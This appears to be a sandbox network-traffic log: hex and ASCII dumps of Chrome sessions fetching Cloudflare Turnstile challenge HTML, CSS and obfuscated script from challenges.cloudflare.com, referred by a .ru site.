2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49724	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:48 UTC	796	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bur.tabilicit.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:48 UTC	1362	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26635 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-11 00:11:48 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 30 30 62 31 30 63 65 64 61 63 37 63 61 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 9000b10cedac7ca5-EWRalt-svc: h3=":443"; ma=86400
2025-01-11 00:11:48 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-11 00:11:48 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49725	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:49 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9000b10cedac7ca5&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:49 UTC	331	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 125577 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9000b1112ad21871-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 Data Ascii: 22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_timeout":"Timed%20out","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_expired":"Expired","check_delays":"Verific
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 2c 67 6c 2c 67 6d 2c 67 6e 2c 67 6f 2c 67 73 2c 67 74 2c 67 75 2c 67 42 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 32 31 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 34 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 33 29 29 2f 33 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 36 31 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 39 34 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 35 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 33 30 29 29 2f 37 29 2b 70 61 72 73 65 49 Data Ascii: ,gl,gm,gn,go,gs,gt,gu,gB,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1421))/1+-parseInt(gI(1274))/2(-parseInt(gI(1173))/3)+parseInt(gI(1761))/4(-parseInt(gI(1694))/5)+-parseInt(gI(935))/6*(parseInt(gI(1230))/7)+parseI
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 75 65 3b 63 61 73 65 27 31 27 3a 6d 3d 28 6c 3d 7b 7d 2c 6c 5b 68 6a 28 38 30 38 29 5d 3d 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 38 30 38 29 5d 2c 6c 5b 68 6a 28 31 36 36 32 29 5d 3d 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 31 36 36 32 29 5d 2c 6c 5b 68 6a 28 39 30 33 29 5d 3d 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 39 30 33 29 5d 2c 6c 5b 68 6a 28 35 34 31 29 5d 3d 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 31 35 36 38 29 5d 2c 6c 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 6e 3d 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 31 39 34 32 29 5d 3f 69 5b 68 6a 28 31 38 31 38 29 5d 28 27 68 2f 27 2b 65 4d 5b 68 6a 28 31 32 39 32 29 5d 5b 68 6a 28 31 39 34 32 29 5d 2c 27 2f 27 29 3a 27 27 3b 63 6f 6e 74 69 6e 75 65 Data Ascii: ue;case'1':m=(l={},l[hj(808)]=eM[hj(1292)][hj(808)],l[hj(1662)]=eM[hj(1292)][hj(1662)],l[hj(903)]=eM[hj(1292)][hj(903)],l[hj(541)]=eM[hj(1292)][hj(1568)],l);continue;case'2':n=eM[hj(1292)][hj(1942)]?i[hj(1818)]('h/'+eM[hj(1292)][hj(1942)],'/'):'';continue
2025-01-11 00:11:49 UTC	1369	IN	Data Raw: 29 5d 2c 68 6b 28 39 30 37 29 29 29 26 26 28 6c 3d 65 5b 68 6b 28 31 34 38 38 29 5d 5b 68 6b 28 31 36 30 38 29 5d 28 27 5c 6e 27 29 2c 6c 5b 68 6b 28 36 34 39 29 5d 3e 31 29 26 26 28 6d 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6e 3d 6c 5b 31 5d 5b 68 6b 28 31 33 31 37 29 5d 28 6d 29 2c 6e 26 26 28 69 3d 6e 5b 31 5d 2c 6a 3d 70 61 72 73 65 49 6e 74 28 6e 5b 32 5d 2c 31 30 29 2c 6b 3d 70 61 72 73 65 49 6e 74 28 6e 5b 33 5d 2c 31 30 29 29 29 3a 68 3d 4a 53 4f 4e 5b 68 6b 28 31 37 32 32 29 5d 28 65 29 3b 72 65 74 75 72 6e 20 6f 3d 7b 7d 2c 6f 5b 68 6b 28 38 39 37 29 5d 3d 68 2c 6f 5b 68 6b 28 36 39 38 29 5d 3d 69 2c 6f 5b 68 6b 28 31 31 31 30 29 5d 3d 6a 2c 6f 5b 68 6b 28 31 35 34 35 29 5d 3d 6b 2c 6f 5b 68 6b 28 Data Ascii: )],hk(907)))&&(l=e[hk(1488)][hk(1608)]('\n'),l[hk(649)]>1)&&(m=/^\s*at\s+(.+):(\d+):(\d+)/,n=l[1][hk(1317)](m),n&&(i=n[1],j=parseInt(n[2],10),k=parseInt(n[3],10))):h=JSON[hk(1722)](e);return o={},o[hk(897)]=h,o[hk(698)]=i,o[hk(1110)]=j,o[hk(1545)]=k,o[hk(
